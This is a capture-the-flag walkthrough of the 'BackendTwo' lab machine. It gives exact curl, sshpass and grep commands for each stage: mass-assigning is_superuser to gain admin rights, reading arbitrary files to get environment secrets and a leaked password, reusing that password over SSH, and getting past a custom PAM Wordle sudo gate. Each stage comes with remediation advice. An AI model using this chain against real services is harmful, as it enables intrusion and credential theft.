← all walkthroughs

BackendTwo

Linux· Medium
owned
2026-10-12
time to own
15m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a FastAPI-based 'UHC Api' on port 80 that allowed anyone to self-register and then promote my own account to administrator by simply adding an is_superuser field to a profile-edit request. The administrator token unlocked an arbitrary file-read feature, which exposed the application's process environment and source code and enabled the first (user) flag to be retrieved through an admin endpoint. A plaintext password for the htb service account, found in the server's logs, gave SSH access as that account.

Finally, the account was a member of the sudo group, and the only barrier to using it was a custom 'Wordle' PAM module whose word list was world-readable. Solving that puzzle with the list allowed sudo to proceed and delivered full root control.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for htb>"
export PASSWORD2="<the-password-you-recovered, for pwn71y16>"

Attack path: how the box was taken

1EnumerationService and API enumeration (T1595)
Mapped the exposed services and the API's route structure
Only SSH (22) and a FastAPI/uvicorn web service (80) were exposed. The web root identified itself as 'UHC Api v2.0', and the versioned API index listed two route groups, /user and /admin. The OpenAPI schema (/openapi.json) was later fetched with a bearer token to enumerate every available endpoint, including the sensitive admin ones.
GET / returned {"msg":"UHC Api v2.0"}; GET /api/v1 returned {"endpoints":["/user","/admin"]}.
Exact commands 4
shell

Confirm the open ports: 22/tcp ssh and 80/tcp http (uvicorn).

$ nmap -Pn -sV -p- $TARGET
shell

Banner shows server: uvicorn and 'UHC Api v2.0'.

$ curl -sS -i http://$TARGET/
shell

Lists the route groups /user and /admin.

$ curl -sS http://$TARGET/api/v1
shell

POST-fuzz the user branch; reveals /signup and /login that GET-only fuzzing misses.

$ gobuster dir -m POST -b 404,405 -u http://$TARGET/api/v1/user/ -w /usr/share/wordlists/dirb/common.txt
FixRestrict exposure of API documentation and unused route groupsLow
WeaknessThe API publicly advertised its structure (route index and OpenAPI schema), including administrative endpoints, which made it easy to find the signup, edit and file-read functions.
FixDisable /docs and /openapi.json in production or require authentication for them, and place the /admin routes behind network-level restrictions (VPN or allow-listed IPs) rather than relying only on a token check.
2Initial AccessOpen self-registration / weak account provisioning (T1136)
Registered a normal account and obtained an API token
The API let anyone create an account with just an email and password, with no verification or approval. Logging in with those credentials (form-encoded) returned a signed JWT bearer token for a regular, non-administrator user with ID 12.
POST /api/v1/user/signup returned 201 Created; POST /api/v1/user/login returned an HS256 access_token with is_superuser:false for sub 12.
Exact commands 2
shell

Create a low-privilege account; choose any email and password you control (this password is yours, not one you recover).

$ curl -sS -i -X POST "http://$TARGET/api/v1/user/signup" -H 'Content-Type: application/json' --data-binary '{"email":"pwn71y16@backendtwo.htb","password":"'"$PASSWORD2"'"}'
shell

Returns the JWT access_token; the login body is form-encoded, not JSON.

$ curl -sS -i -X POST "http://$TARGET/api/v1/user/login" -H 'Content-Type: application/x-www-form-urlencoded' --data "username=pwn71y16%40backendtwo.htb&password=$PASSWORD2"
FixRequire verification and approval for new accountsMedium
WeaknessAnyone on the network could register an account with only an email and password, with no verification or approval, giving an unauthorised user an authenticated foothold at no cost.
FixDisable public registration for internal APIs or require email-domain verification, invitation tokens or administrator approval. Add rate limiting and monitoring on the signup endpoint.
3Privilege EscalationMass assignment / broken object-property-level authorization (CWE-915, OWASP API3)
Promoted the new account to administrator through mass assignment
The profile-edit endpoint copied every field in the request body onto the user record, including the privileged is_superuser flag, and did not check that a user may only change allowed fields. Sending is_superuser:true for my own account succeeded, and logging in again produced a new token carrying superuser rights that the admin routes accepted.
PUT /api/v1/user/12/edit returned {"result":"true"}; the re-issued token decoded to is_superuser:true.
Exact commands 3
shell

Replace 12 with your own user ID and the token from the login step.

$ curl -sS -i -X PUT "http://$TARGET/api/v1/user/12/edit" -H 'Authorization: Bearer <low-priv JWT>' -H 'Content-Type: application/json' --data-binary '{"profile":"pwn","is_superuser":true}'
shell

Log in again to receive a superuser JWT.

$ curl -sS -X POST "http://$TARGET/api/v1/user/login" -H 'Content-Type: application/x-www-form-urlencoded' --data "username=pwn71y16%40backendtwo.htb&password=$PASSWORD2"
shell

Enumerate the now-accessible admin endpoints.

$ curl -sS "http://$TARGET/openapi.json" -H 'Authorization: Bearer <superuser JWT>'
FixBlock mass assignment of privileged fields in the user-edit endpointCritical
WeaknessThe user-edit endpoint bound every field in the request to the database model, so a regular user could set is_superuser to true on their own account and become an administrator.
FixUse a dedicated input schema (for example a Pydantic model that lists only profile fields) instead of binding the full user model, and never accept role or privilege fields from the client. Change roles only via a separate administrator-only code path, and re-check the stored role on each request.
4Credential AccessArbitrary file read / path traversal (CWE-22) and secrets exposure in the process environment
Read server files through the admin file endpoint and collected the user flag
With administrator rights, the API's /admin/file/{path} endpoint read any file on the server when given a base64url-encoded path, with no restriction on location. It disclosed the process environment (the service ran as OS user htb, and the environment carried an API_KEY value) and the application source code. The admin get_user_flag endpoint returned the user flag. The same file-read then pulled the application's log at /home/htb/auth.log, where a failed login had left a plaintext password in the username field.
/proc/self/environ returned USER=htb, HOME=/home/htb and an API_KEY value; the admin get_user_flag endpoint returned the user flag and HTB confirmed the capture; /home/htb/auth.log held a line 'Login Failure for <the password>' that leaked the htb account password.
Exact commands 5
shell

Base64url of /proc/self/environ; shows the service runs as htb and carries USER, APP_MODULE and API_KEY.

$ curl -sS "http://$TARGET/api/v1/admin/file/L3Byb2Mvc2VsZi9lbnZpcm9u" -H 'Authorization: Bearer <superuser JWT>'
shell

Read the application source (/home/htb/app/api/v1/endpoints/user.py).

$ curl -sS "http://$TARGET/api/v1/admin/file/L2hvbWUvaHRiL2FwcC9hcGkvdjEvZW5kcG9pbnRzL3VzZXIucHk" -H 'Authorization: Bearer <superuser JWT>'
shell

Returns <user.txt>.

$ curl -sS "http://$TARGET/api/v1/admin/get_user_flag" -H 'Authorization: Bearer <superuser JWT>'
shell

Encode the log path for the endpoint, which expects base64url; this yields L2hvbWUvaHRiL2F1dGgubG9n.

$ echo -n /home/htb/auth.log | basenc --base64url | tr -d '='
shell

Read the log; a 'Login Failure for ...' line put the real password in the username field. Set $PASSWORD to that string.

$ curl -sS "http://$TARGET/api/v1/admin/file/L2hvbWUvaHRiL2F1dGgubG9n" -H 'Authorization: Bearer <superuser JWT>'
FixRemove the arbitrary file-read endpoint and keep secrets out of the process environmentHigh
WeaknessAn admin API endpoint read any file on the server from a client-supplied path with no allow-list, exposing environment variables (including an API_KEY), application source, and log files that held a plaintext password.
FixRemove the endpoint, or restrict it to a fixed directory by resolving the path and rejecting anything outside an approved base. Run the service as a low-privilege user in a sandbox (systemd ProtectHome/ProtectSystem) so home directories and /proc are unreadable, and keep secrets in a secrets manager with strong random values rather than a weak or guessable key.
5Lateral MovementCredentials in log files and credential reuse (T1552.001, T1078)
Logged in over SSH as the 'htb' service account with a password leaked in a log
The password recovered from auth.log in the previous step was the real login secret for the htb service account: a user had typed it into the username field on a failed login, so it was recorded in plaintext. Reusing it opened a normal SSH session as htb, an account in the adm and sudo groups.
SSH login as htb with the leaked password succeeded and id returned uid=1000(htb) with the adm and sudo groups among its memberships.
Exact commands 2
shell

Reuse the leaked password; confirms access and the htb group memberships.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null htb@$TARGET 'id'
shell

Open an interactive session (run id before reading any flag).

$ sshpass -p "$PASSWORD" ssh htb@$TARGET
FixStop logging passwords and rotate the exposed credentialHigh
WeaknessA plaintext password was recorded in the authentication log after a user typed it into the username field, and the same password still granted SSH access to the service account.
FixRotate the htb password immediately and prefer SSH key-only authentication (PasswordAuthentication no). Restrict permissions on /var/log/auth.log copies and do not store logs in application home directories. Add secret-scanning of logs and train users to avoid entering passwords in username fields.
6Privilege EscalationWeak custom authentication control with exposed secret list; sudo group abuse (T1548.003)
Solved the custom PAM 'Wordle' sudo gate using its readable word list and became root
The sudo PAM stack required a custom module, pam_wordle.so, that asks the user to guess a five-letter word before sudo continues. The module's word list at /opt/.words was world-readable, so each hint could be used to filter the candidate words until the correct one was found. Since htb was already in the sudo group with full rights, passing the puzzle gave a root shell, from which root.txt was read.
/etc/pam.d/sudo listed 'auth required pam_wordle.so' and /opt/.words existed; after solving, HTB reported the machine ROOT-owned.
Exact commands 5
shell

Run on the SSH session to find the PAM module and its word list.

$ cat /etc/pam.d/sudo; find / -name pam_wordle.so 2>/dev/null; wc -l /opt/.words; head -20 /opt/.words
shell

Starts the Wordle challenge; guess a 5-letter word. Hints: lowercase = correct position, * = right letter wrong position, ? = not in the word.

$ sudo -l
shell

The whole candidate set is only ~74 five-letter words, so each hint narrows it fast.

$ cat /opt/.words
shell

Example narrowing round: keep words with 'o' in position 3 (a lowercase hint), containing 'm' somewhere (a '*' hint), and excluding letters marked '?'. Adjust the pattern to the hints you get, then submit the next guess until it reports Correct!.

$ grep -E '^..o..$' /opt/.words | grep m | grep -v '[aeiu]'
shell

After the puzzle is solved, sudo allows (ALL:ALL) ALL. Run id, then cat /root/root.txt (<root.txt>).

$ sudo su -
FixReplace the custom PAM Wordle gate with real privilege controlsHigh
WeaknessSudo was protected only by a home-grown 'Wordle' PAM module whose word list was world-readable, so it provided no real security, while the htb user had unrestricted (ALL:ALL) ALL sudo rights and also belonged to the lxd and adm groups.
FixRemove pam_wordle.so from /etc/pam.d/sudo and use standard, vetted controls: require a strong password or MFA for sudo, and grant least-privilege rules in /etc/sudoers instead of full ALL. Remove service accounts from the sudo, lxd and adm groups, and keep any remaining auth data readable only by root.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
80/tcp